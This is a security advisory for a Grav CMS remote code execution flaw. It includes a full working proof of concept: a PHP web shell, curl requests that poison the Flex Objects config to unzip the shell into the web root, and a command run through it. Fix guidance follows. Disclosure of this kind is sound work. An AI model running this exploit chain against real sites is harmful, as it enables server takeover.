CVE-2026-72819: Grav CMS Remote Code Execution via ZIP Upload
A logged-in Grav CMS user can upload a ZIP containing a PHP web shell and use a flaw in Flex Objects blueprint validation to unpack it into the web root, giving full remote code execution on the…
The problem
Grav's blueprint system lets a field call a built-in routine to populate its default value. A safety check is supposed to restrict which routines are allowed.
The check only applies when the routine name is a plain string. Passing the name as a two-element array (class name + method) bypasses the check entirely. The validator never sees it, approves it as safe, and Grav calls it with attacker-supplied arguments.
Any logged-in user with access to the admin API can exploit this. The Flex Objects plugin is installed by default in Grav 2.x.
Proof of concept
A working proof-of-concept for CVE-2026-72819 in getgrav/grav, with the exact payload below.
# Step 1: create the web shell archive
echo '<?php system($_GET["c"]); ?>' > shell.php
zip evil.zip shell.php
# Upload evil.zip via the Media tab; it lands at /user/media/evil.zip
# Step 2: poison the Flex Objects config to add a field that calls unZip
# Replace /absolute/path/to/grav-docroot with the real web root path
curl -s -X PATCH https://TARGET/api/v1/config/plugins/flex-objects \
-H 'Content-Type: application/json' \
-H 'Cookie: <session>' \
-H 'X-API-Token: <token>' \
-d '{
"directories": ["user/config/plugins/flex-objects.yaml"],
"title": "Pwn",
"type": "flex-objects",
"config": { "data": {
"object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
"collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
"index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
"storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
"options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
"folder": "user-data://flex-objects/pwn.json" } } } },
"form": { "validation": "loose", "fields": {
"name": {"type": "text", "label": "Name"},
"pwn": {"type": "text", "label": "pwn",
"data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
"user/media/evil.zip",
"/absolute/path/to/grav-docroot"]} } }
}'
# Step 3: trigger field evaluation by creating a Flex Object record
curl -s -X POST https://TARGET/api/v1/flex-objects/flex-objects \
-H 'Content-Type: application/json' \
-H 'Cookie: <session>' \
-H 'X-API-Token: <token>' \
-d '{"name": "x"}'
# Step 4: execute commands via the dropped shell
curl 'https://TARGET/shell.php?c=id'The vulnerable code evaluates the data-default@ field descriptor in blueprints. Before calling the specified routine, it checks whether the name is a known-dangerous function or a class method not on an allowlist. Both checks use is_string() on the callable.
When the callable arrives as a [ClassName, method] array, is_string() is false, both checks are skipped, and the routine is called unconditionally.
The attacker uses this to invoke Grav\Common\GPM\Installer::unZip(), which is Grav's own plugin-install helper. It validates filenames inside the archive against path traversal but accepts the destination folder verbatim, so pointing it at the web root drops shell.php there.
The archive is accepted as a normal media upload because Grav permits ZIP files without inspecting their contents.
The patch (commit 81740e2) adds an is_array() guard so that array-form callables are rejected by the same safety checks as string callables, closing the bypass at its root (CWE-94).
The fix
Upgrade to Grav 2.0.13 or later. The fix is in commit 81740e23614c3f3f520dbd8dc7a7af21efd0b747. If immediate upgrade is not possible, disable the Flex Objects plugin and restrict admin API access to trusted network ranges as a temporary measure.
Reported by rhukster (Andy Miller).
Related research
- critical · 8.8CVE-2026-75827CVE-2026-75827: Grav CMS Arbitrary File Write via Blueprint error_log Injection
- highCVE-2026-64850CVE-2026-64850: Grav CMS Remote Code Execution via Unrestricted Callable in Blueprint::dynamicData()
- high · 7.7CVE-2026-76839CVE-2026-76839: Grav CMS Twig Sandbox Credential Leak via offsetGet()
- high · 5.9CVE-2026-74907CVE-2026-74907: Grav CMS Unauthenticated Path Traversal via plugin-asset-map.php